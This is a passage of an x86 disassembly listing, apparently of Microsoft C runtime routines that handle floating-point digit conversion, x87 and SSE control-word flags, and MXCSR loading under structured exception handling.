		test	bx, bx
		setz	al
		and	dword ptr [ebp-1Ch], 0
		dec	eax
		and	eax, 80000000h
		add	eax, 7FFF8000h
		and	[ebp+var_20], 0


loc_41B638:				; CODE XREF: sub_41AF2B+4CFj
		mov	[ebp+var_1A+2],	eax


loc_41B63B:				; CODE XREF: sub_41AF2B+467j
					; sub_41AF2B+531j ...
		test	[ebp+arg_10], 1
		mov	edx, [ebp+var_60]
		mov	eax, [ebp+var_4C]
		mov	edi, [ebp+arg_C]
		mov	[edx], ax
		jz	short loc_41B67F
		cwde
		add	edi, eax
		test	edi, edi
		jg	short loc_41B67F
		xor	eax, eax
		mov	[edx], ax
		mov	eax, 8000h
		cmp	word ptr [ebp+var_70], ax
		mov	byte ptr [edx+3], 1
		setnz	al
		dec	al
		and	al, 0Dh
		add	al, 20h
		mov	[edx+2], al
		mov	byte ptr [edx+4], 30h
		mov	byte ptr [edx+5], 0
		jmp	loc_41AFDD
; ---------------------------------------------------------------------------


loc_41B67F:				; CODE XREF: sub_41AF2B+720j
					; sub_41AF2B+727j
		cmp	edi, 15h
		jle	short loc_41B687
		push	15h
		pop	edi


loc_41B687:				; CODE XREF: sub_41AF2B+757j
		mov	esi, [ebp+var_1A+2]
		shr	esi, 10h
		sub	esi, 3FFEh
		xor	eax, eax
		mov	word ptr [ebp+var_16], ax
		mov	[ebp+var_44], 8


loc_41B6A0:				; CODE XREF: sub_41AF2B+79Bj
		mov	eax, [ebp+var_20]
		mov	ebx, [ebp-1Ch]
		mov	ecx, [ebp-1Ch]
		shl	[ebp+var_20], 1
		shr	eax, 1Fh
		add	ebx, ebx
		or	ebx, eax
		mov	eax, [ebp+var_1A+2]
		shr	ecx, 1Fh
		add	eax, eax
		or	eax, ecx
		dec	[ebp+var_44]
		mov	[ebp-1Ch], ebx
		mov	[ebp+var_1A+2],	eax
		jnz	short loc_41B6A0
		test	esi, esi
		jge	short loc_41B6FE
		neg	esi
		and	esi, 0FFh
		jle	short loc_41B6FE


loc_41B6D6:				; CODE XREF: sub_41AF2B+7D1j
		mov	eax, [ebp+var_1A+2]
		mov	ebx, [ebp-1Ch]
		mov	ecx, [ebp-1Ch]
		shr	[ebp+var_1A+2],	1
		shl	eax, 1Fh
		shr	ebx, 1
		or	ebx, eax
		mov	eax, [ebp+var_20]
		shl	ecx, 1Fh
		shr	eax, 1
		or	eax, ecx
		dec	esi
		mov	[ebp-1Ch], ebx
		mov	[ebp+var_20], eax
		test	esi, esi
		jg	short loc_41B6D6


loc_41B6FE:				; CODE XREF: sub_41AF2B+79Fj
					; sub_41AF2B+7A9j
		lea	eax, [edi+1]
		lea	ebx, [edx+4]
		mov	[ebp+var_40], ebx
		mov	[ebp+var_4C], eax
		test	eax, eax
		jle	loc_41B7C7


loc_41B712:				; CODE XREF: sub_41AF2B+896j
		mov	edx, [ebp+var_20]
		mov	eax, [ebp-1Ch]
		lea	esi, [ebp+var_20]
		lea	edi, [ebp+var_3C]
		movsd
		movsd
		movsd
		shl	[ebp+var_20], 1
		mov	edi, [ebp+var_20]
		shl	[ebp+var_20], 1
		shr	edx, 1Fh
		lea	ecx, [eax+eax]
		or	ecx, edx
		mov	edx, [ebp+var_1A+2]
		mov	esi, eax
		shr	esi, 1Fh
		add	edx, edx
		or	edx, esi
		mov	eax, ecx
		lea	esi, [ecx+ecx]
		shr	eax, 1Fh
		lea	ecx, [edx+edx]
		mov	edx, [ebp+var_3C]
		shr	edi, 1Fh
		or	ecx, eax
		mov	eax, [ebp+var_20]
		or	esi, edi
		lea	edi, [edx+eax]
		cmp	edi, eax
		jb	short loc_41B761
		cmp	edi, edx
		jnb	short loc_41B779


loc_41B761:				; CODE XREF: sub_41AF2B+830j
		lea	eax, [esi+1]
		xor	edx, edx
		cmp	eax, esi
		jb	short loc_41B76F
		cmp	eax, 1
		jnb	short loc_41B772


loc_41B76F:				; CODE XREF: sub_41AF2B+83Dj
		xor	edx, edx
		inc	edx


loc_41B772:				; CODE XREF: sub_41AF2B+842j
		mov	esi, eax
		test	edx, edx
		jz	short loc_41B779
		inc	ecx


loc_41B779:				; CODE XREF: sub_41AF2B+834j
					; sub_41AF2B+84Bj
		mov	eax, [ebp+var_38]
		lea	edx, [eax+esi]
		mov	[ebp+var_44], edx
		cmp	edx, esi
		jb	short loc_41B78A
		cmp	edx, eax
		jnb	short loc_41B78B


loc_41B78A:				; CODE XREF: sub_41AF2B+859j
		inc	ecx


loc_41B78B:				; CODE XREF: sub_41AF2B+85Dj
		add	ecx, [ebp+var_34]
		shr	edx, 1Fh
		add	ecx, ecx
		or	ecx, edx
		lea	esi, [edi+edi]
		mov	[ebp+var_20], esi
		mov	esi, [ebp+var_44]
		mov	[ebp+var_1A+2],	ecx
		shr	ecx, 18h
		add	esi, esi
		add	cl, 30h
		mov	eax, edi
		shr	eax, 1Fh
		or	esi, eax
		mov	[ebx], cl
		inc	ebx
		dec	[ebp+var_4C]
		cmp	[ebp+var_4C], 0
		mov	[ebp-1Ch], esi
		mov	byte ptr [ebp+var_16+1], 0
		jg	loc_41B712


loc_41B7C7:				; CODE XREF: sub_41AF2B+7E1j
		dec	ebx
		mov	al, [ebx]
		dec	ebx
		cmp	al, 35h
		jge	short loc_41B7DD
		mov	ecx, [ebp+var_40]
		jmp	short loc_41B818
; ---------------------------------------------------------------------------


loc_41B7D4:				; CODE XREF: sub_41AF2B+8B5j
		cmp	byte ptr [ebx],	39h
		jnz	short loc_41B7E2
		mov	byte ptr [ebx],	30h
		dec	ebx


loc_41B7DD:				; CODE XREF: sub_41AF2B+8A2j
		cmp	ebx, [ebp+var_40]
		jnb	short loc_41B7D4


loc_41B7E2:				; CODE XREF: sub_41AF2B+8ACj
		mov	eax, [ebp+var_60]
		cmp	ebx, [ebp+var_40]
		jnb	short loc_41B7EE
		inc	ebx
		inc	word ptr [eax]


loc_41B7EE:				; CODE XREF: sub_41AF2B+8BDj
		inc	byte ptr [ebx]


loc_41B7F0:				; CODE XREF: sub_41AF2B+8F6j
		sub	bl, al
		sub	bl, 3
		movsx	ecx, bl
		mov	[eax+3], bl
		mov	byte ptr [ecx+eax+4], 0
		mov	eax, [ebp+var_74]


loc_41B803:				; CODE XREF: sub_41AF2B+B5j
					; sub_41AF2B+162j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B812:				; CODE XREF: sub_41AF2B+8EFj
		cmp	byte ptr [ebx],	30h
		jnz	short loc_41B81C
		dec	ebx


loc_41B818:				; CODE XREF: sub_41AF2B+8A7j
		cmp	ebx, ecx
		jnb	short loc_41B812


loc_41B81C:				; CODE XREF: sub_41AF2B+8EAj
		mov	eax, [ebp+var_60]
		cmp	ebx, ecx
		jnb	short loc_41B7F0
		xor	edx, edx
		mov	[eax], dx
		mov	edx, 8000h
		cmp	word ptr [ebp+var_70], dx
		mov	byte ptr [eax+3], 1
		setnz	dl
		dec	dl
		and	dl, 0Dh
		add	dl, 20h
		mov	[eax+2], dl
		mov	byte ptr [ecx],	30h
		mov	byte ptr [eax+5], 0
		jmp	loc_41AFDD
sub_41AF2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B84F	proc near		; CODE XREF: sub_41B97D+C3p
		xor	eax, eax
		test	bl, 10h
		jz	short loc_41B857
		inc	eax


loc_41B857:				; CODE XREF: sub_41B84F+5j
		test	bl, 8
		jz	short loc_41B85F
		or	eax, 4


loc_41B85F:				; CODE XREF: sub_41B84F+Bj
		test	bl, 4
		jz	short loc_41B867
		or	eax, 8


loc_41B867:				; CODE XREF: sub_41B84F+13j
		test	bl, 2
		jz	short loc_41B86F
		or	eax, 10h


loc_41B86F:				; CODE XREF: sub_41B84F+1Bj
		test	bl, 1
		jz	short loc_41B877
		or	eax, 20h


loc_41B877:				; CODE XREF: sub_41B84F+23j
		test	ebx, 80000h
		jz	short loc_41B882
		or	eax, 2


loc_41B882:				; CODE XREF: sub_41B84F+2Ej
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		push	esi
		mov	esi, 200h
		jz	short loc_41B8B6
		cmp	ecx, 100h
		jz	short loc_41B8B1
		cmp	ecx, esi
		jz	short loc_41B8AA
		cmp	ecx, edx
		jnz	short loc_41B8B6
		or	eax, 0C00h
		jmp	short loc_41B8B6
; ---------------------------------------------------------------------------


loc_41B8AA:				; CODE XREF: sub_41B84F+4Ej
		or	eax, 800h
		jmp	short loc_41B8B6
; ---------------------------------------------------------------------------


loc_41B8B1:				; CODE XREF: sub_41B84F+4Aj
		or	eax, 400h


loc_41B8B6:				; CODE XREF: sub_41B84F+42j
					; sub_41B84F+52j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41B8CC
		cmp	ecx, 10000h
		jnz	short loc_41B8CE
		or	eax, esi
		jmp	short loc_41B8CE
; ---------------------------------------------------------------------------


loc_41B8CC:				; CODE XREF: sub_41B84F+6Fj
		or	eax, edx


loc_41B8CE:				; CODE XREF: sub_41B84F+77j
					; sub_41B84F+7Bj
		pop	esi
		test	ebx, 40000h
		jz	short locret_41B8DC
		or	eax, 1000h

locret_41B8DC:				; CODE XREF: sub_41B84F+86j
		retn
sub_41B84F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8DD	proc near		; CODE XREF: sub_41B97D:loc_41BBC2p
		xor	eax, eax
		test	dl, 10h
		jz	short loc_41B8E9
		mov	eax, 80h


loc_41B8E9:				; CODE XREF: sub_41B8DD+5j
		push	ebx
		push	esi
		push	edi
		mov	ebx, 200h
		test	dl, 8
		jz	short loc_41B8F8
		or	eax, ebx


loc_41B8F8:				; CODE XREF: sub_41B8DD+17j
		test	dl, 4
		jz	short loc_41B902
		or	eax, 400h


loc_41B902:				; CODE XREF: sub_41B8DD+1Ej
		test	dl, 2
		jz	short loc_41B90C
		or	eax, 800h


loc_41B90C:				; CODE XREF: sub_41B8DD+28j
		test	dl, 1
		jz	short loc_41B916
		or	eax, 1000h


loc_41B916:				; CODE XREF: sub_41B8DD+32j
		mov	edi, 100h
		test	edx, 80000h
		jz	short loc_41B925
		or	eax, edi


loc_41B925:				; CODE XREF: sub_41B8DD+44j
		mov	ecx, edx
		mov	esi, 300h
		and	ecx, esi
		jz	short loc_41B94F
		cmp	ecx, edi
		jz	short loc_41B94A
		cmp	ecx, ebx
		jz	short loc_41B943
		cmp	ecx, esi
		jnz	short loc_41B94F
		or	eax, 6000h
		jmp	short loc_41B94F
; ---------------------------------------------------------------------------


loc_41B943:				; CODE XREF: sub_41B8DD+59j
		or	eax, 4000h
		jmp	short loc_41B94F
; ---------------------------------------------------------------------------


loc_41B94A:				; CODE XREF: sub_41B8DD+55j
		or	eax, 2000h


loc_41B94F:				; CODE XREF: sub_41B8DD+51j
					; sub_41B8DD+5Dj ...
		mov	ecx, 3000000h
		pop	edi
		and	edx, ecx
		pop	esi
		pop	ebx
		cmp	edx, 1000000h
		jz	short loc_41B977
		cmp	edx, 2000000h
		jz	short loc_41B973
		cmp	edx, ecx
		jnz	short locret_41B97C
		or	eax, 8000h
		retn
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B8DD+8Aj
		or	eax, 40h
		retn
; ---------------------------------------------------------------------------


loc_41B977:				; CODE XREF: sub_41B8DD+82j
		or	eax, 8040h

locret_41B97C:				; CODE XREF: sub_41B8DD+8Ej
		retn
sub_41B8DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B97D	proc near		; CODE XREF: sub_419D3F+27p
					; sub_419D3F+57p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		fstcw	word ptr [ebp+var_8]
		mov	ebx, [ebp+var_8]
		xor	edx, edx
		test	bl, 1
		jz	short loc_41B999
		push	10h
		pop	edx


loc_41B999:				; CODE XREF: sub_41B97D+17j
		test	bl, 4
		jz	short loc_41B9A1
		or	edx, 8


loc_41B9A1:				; CODE XREF: sub_41B97D+1Fj
		test	bl, 8
		jz	short loc_41B9A9
		or	edx, 4


loc_41B9A9:				; CODE XREF: sub_41B97D+27j
		test	bl, 10h
		jz	short loc_41B9B1
		or	edx, 2


loc_41B9B1:				; CODE XREF: sub_41B97D+2Fj
		test	bl, 20h
		jz	short loc_41B9B9
		or	edx, 1


loc_41B9B9:				; CODE XREF: sub_41B97D+37j
		test	bl, 2
		jz	short loc_41B9C4
		or	edx, 80000h


loc_41B9C4:				; CODE XREF: sub_41B97D+3Fj
		movzx	ecx, bx
		mov	eax, ecx
		mov	esi, 0C00h
		and	eax, esi
		mov	edi, 300h
		jz	short loc_41B9FB
		cmp	eax, 400h
		jz	short loc_41B9F5
		cmp	eax, 800h
		jz	short loc_41B9ED
		cmp	eax, esi
		jnz	short loc_41B9FB
		or	edx, edi
		jmp	short loc_41B9FB
; ---------------------------------------------------------------------------


loc_41B9ED:				; CODE XREF: sub_41B97D+66j
		or	edx, 200h
		jmp	short loc_41B9FB
; ---------------------------------------------------------------------------


loc_41B9F5:				; CODE XREF: sub_41B97D+5Fj
		or	edx, 100h


loc_41B9FB:				; CODE XREF: sub_41B97D+58j
					; sub_41B97D+6Aj ...
		and	ecx, edi
		jz	short loc_41BA0F
		cmp	ecx, 200h
		jnz	short loc_41BA15
		or	edx, 10000h
		jmp	short loc_41BA15
; ---------------------------------------------------------------------------


loc_41BA0F:				; CODE XREF: sub_41B97D+80j
		or	edx, 20000h


loc_41BA15:				; CODE XREF: sub_41B97D+88j
					; sub_41B97D+90j
		test	ebx, 1000h
		jz	short loc_41BA23
		or	edx, 40000h


loc_41BA23:				; CODE XREF: sub_41B97D+9Ej
		mov	edi, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	eax, edi
		not	eax
		and	eax, edx
		and	ecx, edi
		or	eax, ecx
		mov	[ebp+arg_4], eax
		cmp	eax, edx
		jz	loc_41BAEC
		mov	ebx, eax
		call	sub_41B84F
		movzx	eax, ax
		mov	[ebp+var_4], eax
		fldcw	word ptr [ebp+var_4]
		fstcw	word ptr [ebp+var_4]
		mov	ebx, [ebp+var_4]
		xor	edx, edx
		test	bl, 1
		jz	short loc_41BA5F
		push	10h
		pop	edx


loc_41BA5F:				; CODE XREF: sub_41B97D+DDj
		test	bl, 4
		jz	short loc_41BA67
		or	edx, 8


loc_41BA67:				; CODE XREF: sub_41B97D+E5j
		test	bl, 8
		jz	short loc_41BA6F
		or	edx, 4


loc_41BA6F:				; CODE XREF: sub_41B97D+EDj
		test	bl, 10h
		jz	short loc_41BA77
		or	edx, 2


loc_41BA77:				; CODE XREF: sub_41B97D+F5j
		test	bl, 20h
		jz	short loc_41BA7F
		or	edx, 1


loc_41BA7F:				; CODE XREF: sub_41B97D+FDj
		test	bl, 2
		jz	short loc_41BA8A
		or	edx, 80000h


loc_41BA8A:				; CODE XREF: sub_41B97D+105j
		movzx	ecx, bx
		mov	eax, ecx
		and	eax, esi
		jz	short loc_41BABB
		cmp	eax, 400h
		jz	short loc_41BAB5
		cmp	eax, 800h
		jz	short loc_41BAAD
		cmp	eax, esi
		jnz	short loc_41BABB
		or	edx, 300h
		jmp	short loc_41BABB
; ---------------------------------------------------------------------------


loc_41BAAD:				; CODE XREF: sub_41B97D+122j
		or	edx, 200h
		jmp	short loc_41BABB
; ---------------------------------------------------------------------------


loc_41BAB5:				; CODE XREF: sub_41B97D+11Bj
		or	edx, 100h


loc_41BABB:				; CODE XREF: sub_41B97D+114j
					; sub_41B97D+126j ...
		and	ecx, 300h
		jz	short loc_41BAD3
		cmp	ecx, 200h
		jnz	short loc_41BAD9
		or	edx, 10000h
		jmp	short loc_41BAD9
; ---------------------------------------------------------------------------


loc_41BAD3:				; CODE XREF: sub_41B97D+144j
		or	edx, 20000h


loc_41BAD9:				; CODE XREF: sub_41B97D+14Cj
					; sub_41B97D+154j
		test	ebx, 1000h
		jz	short loc_41BAE7
		or	edx, 40000h


loc_41BAE7:				; CODE XREF: sub_41B97D+162j
		mov	[ebp+arg_4], edx
		mov	eax, edx


loc_41BAEC:				; CODE XREF: sub_41B97D+BBj
		xor	esi, esi
		cmp	dword_430144, esi
		jz	loc_41BC87
		and	edi, 308031Fh
		mov	[ebp+var_14], edi
		stmxcsr	[ebp+var_10]
		mov	eax, [ebp+var_10]
		test	al, al
		jns	short loc_41BB11
		push	10h
		pop	esi


loc_41BB11:				; CODE XREF: sub_41B97D+18Fj
		test	eax, 200h
		jz	short loc_41BB1B
		or	esi, 8


loc_41BB1B:				; CODE XREF: sub_41B97D+199j
		test	eax, 400h
		jz	short loc_41BB25
		or	esi, 4


loc_41BB25:				; CODE XREF: sub_41B97D+1A3j
		test	eax, 800h
		jz	short loc_41BB2F
		or	esi, 2


loc_41BB2F:				; CODE XREF: sub_41B97D+1ADj
		test	eax, 1000h
		jz	short loc_41BB39
		or	esi, 1


loc_41BB39:				; CODE XREF: sub_41B97D+1B7j
		test	eax, 100h
		jz	short loc_41BB46
		or	esi, 80000h


loc_41BB46:				; CODE XREF: sub_41B97D+1C1j
		mov	ecx, eax
		mov	ebx, 6000h
		and	ecx, ebx
		jz	short loc_41BB7B
		cmp	ecx, 2000h
		jz	short loc_41BB75
		cmp	ecx, 4000h
		jz	short loc_41BB6D
		cmp	ecx, ebx
		jnz	short loc_41BB7B
		or	esi, 300h
		jmp	short loc_41BB7B
; ---------------------------------------------------------------------------


loc_41BB6D:				; CODE XREF: sub_41B97D+1E2j
		or	esi, 200h
		jmp	short loc_41BB7B
; ---------------------------------------------------------------------------


loc_41BB75:				; CODE XREF: sub_41B97D+1DAj
		or	esi, 100h


loc_41BB7B:				; CODE XREF: sub_41B97D+1D2j
					; sub_41B97D+1E6j ...
		mov	edi, 8040h
		and	eax, edi
		sub	eax, 40h
		jz	short loc_41BBA3
		sub	eax, 7FC0h
		jz	short loc_41BB9B
		sub	eax, 40h
		jnz	short loc_41BBA9
		or	esi, 1000000h
		jmp	short loc_41BBA9
; ---------------------------------------------------------------------------


loc_41BB9B:				; CODE XREF: sub_41B97D+20Fj
		or	esi, 3000000h
		jmp	short loc_41BBA9
; ---------------------------------------------------------------------------


loc_41BBA3:				; CODE XREF: sub_41B97D+208j
		or	esi, 2000000h


loc_41BBA9:				; CODE XREF: sub_41B97D+214j
					; sub_41B97D+21Cj ...
		mov	eax, [ebp+var_14]
		mov	edx, eax
		and	eax, [ebp+arg_0]
		not	edx
		and	edx, esi
		or	edx, eax
		cmp	edx, esi
		jnz	short loc_41BBC2
		mov	eax, esi
		jmp	loc_41BC72
; ---------------------------------------------------------------------------


loc_41BBC2:				; CODE XREF: sub_41B97D+23Cj
		call	sub_41B8DD
		push	eax
		mov	[ebp+var_C], eax
		call	sub_41BE5A
		pop	ecx
		stmxcsr	[ebp+var_C]
		mov	ecx, [ebp+var_C]
		xor	edx, edx
		test	cl, cl
		jns	short loc_41BBE1
		push	10h
		pop	edx


loc_41BBE1:				; CODE XREF: sub_41B97D+25Fj
		test	ecx, 200h
		jz	short loc_41BBEC
		or	edx, 8


loc_41BBEC:				; CODE XREF: sub_41B97D+26Aj
		test	ecx, 400h
		jz	short loc_41BBF7
		or	edx, 4


loc_41BBF7:				; CODE XREF: sub_41B97D+275j
		test	ecx, 800h
		jz	short loc_41BC02
		or	edx, 2


loc_41BC02:				; CODE XREF: sub_41B97D+280j
		test	ecx, 1000h
		jz	short loc_41BC0D
		or	edx, 1


loc_41BC0D:				; CODE XREF: sub_41B97D+28Bj
		mov	esi, 100h
		test	ecx, esi
		jz	short loc_41BC1C
		or	edx, 80000h


loc_41BC1C:				; CODE XREF: sub_41B97D+297j
		mov	eax, ecx
		and	eax, ebx
		jz	short loc_41BC46
		cmp	eax, 2000h
		jz	short loc_41BC44
		cmp	eax, 4000h
		jz	short loc_41BC3C
		cmp	eax, ebx
		jnz	short loc_41BC46
		or	edx, 300h
		jmp	short loc_41BC46
; ---------------------------------------------------------------------------


loc_41BC3C:				; CODE XREF: sub_41B97D+2B1j
		or	edx, 200h
		jmp	short loc_41BC46
; ---------------------------------------------------------------------------


loc_41BC44:				; CODE XREF: sub_41B97D+2AAj
		or	edx, esi


loc_41BC46:				; CODE XREF: sub_41B97D+2A3j
					; sub_41B97D+2B5j ...
		and	ecx, edi
		sub	ecx, 40h
		jz	short loc_41BC6A
		sub	ecx, 7FC0h
		jz	short loc_41BC62
		sub	ecx, 40h
		jnz	short loc_41BC70
		or	edx, 1000000h
		jmp	short loc_41BC70
; ---------------------------------------------------------------------------


loc_41BC62:				; CODE XREF: sub_41B97D+2D6j
		or	edx, 3000000h
		jmp	short loc_41BC70
; ---------------------------------------------------------------------------


loc_41BC6A:				; CODE XREF: sub_41B97D+2CEj
		or	edx, 2000000h


loc_41BC70:				; CODE XREF: sub_41B97D+2DBj
					; sub_41B97D+2E3j ...
		mov	eax, edx


loc_41BC72:				; CODE XREF: sub_41B97D+240j
		mov	ecx, eax
		xor	ecx, [ebp+arg_4]
		or	eax, [ebp+arg_4]
		test	ecx, 8031Fh
		jz	short loc_41BC87
		or	eax, 80000000h


loc_41BC87:				; CODE XREF: sub_41B97D+177j
					; sub_41B97D+303j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B97D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC8C	proc near		; CODE XREF: sub_41A833+328p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		mov	[ebp+var_18], 404Eh
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[eax+8], esi
		cmp	[ebp+arg_4], esi
		jbe	loc_41BE04


loc_41BCBE:				; CODE XREF: sub_41BC8C+148j
		mov	edx, [eax]
		mov	ebx, [eax+4]
		mov	esi, eax
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsd
		mov	ecx, edx
		shr	ecx, 1Fh
		lea	edi, [edx+edx]
		lea	edx, [ebx+ebx]
		or	edx, ecx
		mov	ecx, [eax+8]
		mov	esi, ebx
		shr	esi, 1Fh
		add	ecx, ecx
		or	ecx, esi
		mov	[ebp+var_14], edi
		mov	esi, edi
		and	[ebp+var_14], 0
		mov	ebx, edx
		shr	ebx, 1Fh
		add	ecx, ecx
		shr	edi, 1Fh
		or	ecx, ebx
		mov	ebx, [ebp+var_10]
		add	esi, esi
		add	edx, edx
		or	edx, edi
		lea	edi, [esi+ebx]
		mov	[eax], esi
		mov	[eax+4], edx
		mov	[eax+8], ecx
		cmp	edi, esi
		jb	short loc_41BD15
		cmp	edi, ebx
		jnb	short loc_41BD1C


loc_41BD15:				; CODE XREF: sub_41BC8C+83j
		mov	[ebp+var_14], 1


loc_41BD1C:				; CODE XREF: sub_41BC8C+87j
		xor	ebx, ebx
		mov	[eax], edi
		cmp	[ebp+var_14], ebx
		jz	short loc_41BD3F
		lea	esi, [edx+1]
		cmp	esi, edx
		jb	short loc_41BD31
		cmp	esi, 1
		jnb	short loc_41BD34


loc_41BD31:				; CODE XREF: sub_41BC8C+9Ej
		xor	ebx, ebx
		inc	ebx


loc_41BD34:				; CODE XREF: sub_41BC8C+A3j
		mov	[eax+4], esi
		test	ebx, ebx
		jz	short loc_41BD3F
		inc	ecx
		mov	[eax+8], ecx


loc_41BD3F:				; CODE XREF: sub_41BC8C+97j
					; sub_41BC8C+ADj
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_C]
		lea	ebx, [ecx+edx]
		xor	esi, esi
		cmp	ebx, ecx
		jb	short loc_41BD52
		cmp	ebx, edx
		jnb	short loc_41BD55


loc_41BD52:				; CODE XREF: sub_41BC8C+C0j
		xor	esi, esi
		inc	esi


loc_41BD55:				; CODE XREF: sub_41BC8C+C4j
		mov	[eax+4], ebx
		test	esi, esi
		jz	short loc_41BD5F
		inc	dword ptr [eax+8]


loc_41BD5F:				; CODE XREF: sub_41BC8C+CEj
		mov	ecx, [ebp+var_8]
		add	[eax+8], ecx
		and	[ebp+var_14], 0
		lea	ecx, [edi+edi]
		mov	edx, edi
		shr	edx, 1Fh
		lea	edi, [ebx+ebx]
		or	edi, edx
		mov	edx, [eax+8]
		mov	esi, ebx
		shr	esi, 1Fh
		lea	ebx, [edx+edx]
		mov	edx, [ebp+arg_0]
		or	ebx, esi
		mov	[eax], ecx
		mov	[eax+4], edi
		mov	[eax+8], ebx
		movsx	edx, byte ptr [edx]
		lea	esi, [ecx+edx]
		mov	[ebp+var_10], edx
		cmp	esi, ecx
		jb	short loc_41BD9F
		cmp	esi, edx
		jnb	short loc_41BDA6


loc_41BD9F:				; CODE XREF: sub_41BC8C+10Dj
		mov	[ebp+var_14], 1


loc_41BDA6:				; CODE XREF: sub_41BC8C+111j
		cmp	[ebp+var_14], 0
		mov	[eax], esi
		jz	short loc_41BDCA
		lea	ecx, [edi+1]
		xor	edx, edx
		cmp	ecx, edi
		jb	short loc_41BDBC
		cmp	ecx, 1
		jnb	short loc_41BDBF


loc_41BDBC:				; CODE XREF: sub_41BC8C+129j
		xor	edx, edx
		inc	edx


loc_41BDBF:				; CODE XREF: sub_41BC8C+12Ej
		mov	[eax+4], ecx
		test	edx, edx
		jz	short loc_41BDCA
		inc	ebx
		mov	[eax+8], ebx


loc_41BDCA:				; CODE XREF: sub_41BC8C+120j
					; sub_41BC8C+138j
		dec	[ebp+arg_4]
		inc	[ebp+arg_0]
		cmp	[ebp+arg_4], 0
		ja	loc_41BCBE
		xor	esi, esi
		jmp	short loc_41BE04
; ---------------------------------------------------------------------------


loc_41BDDE:				; CODE XREF: sub_41BC8C+17Bj
		mov	ecx, [eax+4]
		mov	edx, ecx
		shr	edx, 10h
		mov	[eax+8], edx
		mov	edx, [eax]
		mov	edi, edx
		shl	ecx, 10h
		shr	edi, 10h
		or	ecx, edi
		shl	edx, 10h
		add	[ebp+var_18], 0FFF0h
		mov	[eax+4], ecx
		mov	[eax], edx


loc_41BE04:				; CODE XREF: sub_41BC8C+2Cj
					; sub_41BC8C+150j
		cmp	[eax+8], esi
		jz	short loc_41BDDE
		mov	ebx, 8000h
		test	[eax+8], ebx
		jnz	short loc_41BE43


loc_41BE13:				; CODE XREF: sub_41BC8C+1B5j
		mov	esi, [eax]
		mov	edi, [eax+4]
		add	[ebp+var_18], 0FFFFh
		mov	ecx, esi
		add	esi, esi
		shr	ecx, 1Fh
		mov	[eax], esi
		lea	esi, [edi+edi]
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		shr	edx, 1Fh
		add	ecx, ecx
		or	ecx, edx
		mov	[eax+4], esi
		mov	[eax+8], ecx
		test	ecx, ebx
		jz	short loc_41BE13


loc_41BE43:				; CODE XREF: sub_41BC8C+185j
		mov	cx, word ptr [ebp+var_18]
		mov	[eax+0Ah], cx
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn
sub_41BC8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE5A	proc near		; CODE XREF: sub_41B97D+24Ep

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_427CD8
		call	__SEH_prolog4
		xor	eax, eax
		cmp	dword_430144, eax
		jz	short loc_41BEC6
		test	byte ptr [ebp+arg_0], 40h
		jz	short loc_41BEBE
		cmp	dword_42E334, eax
		jz	short loc_41BEBE
		mov	[ebp+ms_exc.disabled], eax
		ldmxcsr	[ebp+arg_0]
		jmp	short loc_41BEB5
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, 0C0000005h
		jz	short loc_41BE9F
		cmp	eax, 0C000001Dh
		jz	short loc_41BE9F
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41BE9F:				; CODE XREF: sub_41BE5A+39j
					; sub_41BE5A+40j
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		and	dword_42E334, 0
		and	[ebp+arg_0], 0FFFFFFBFh
		ldmxcsr	[ebp+arg_0]


loc_41BEB5:				; CODE XREF: sub_41BE5A+2Bj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		jmp	short loc_41BEC6
; ---------------------------------------------------------------------------


loc_41BEBE:				; CODE XREF: sub_41BE5A+1Aj
					; sub_41BE5A+22j
		and	[ebp+arg_0], 0FFFFFFBFh
		ldmxcsr	[ebp+arg_0]


loc_41BEC6:				; CODE XREF: sub_41BE5A+14j
					; sub_41BE5A+62j
		call	__SEH_epilog4
		retn
sub_41BE5A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_405180
; ---------------------------------------------------------------------------


loc_41BED4:				; DATA XREF: sub_40AB96+2o
					; sub_40ABCE+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-54h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_4267B0
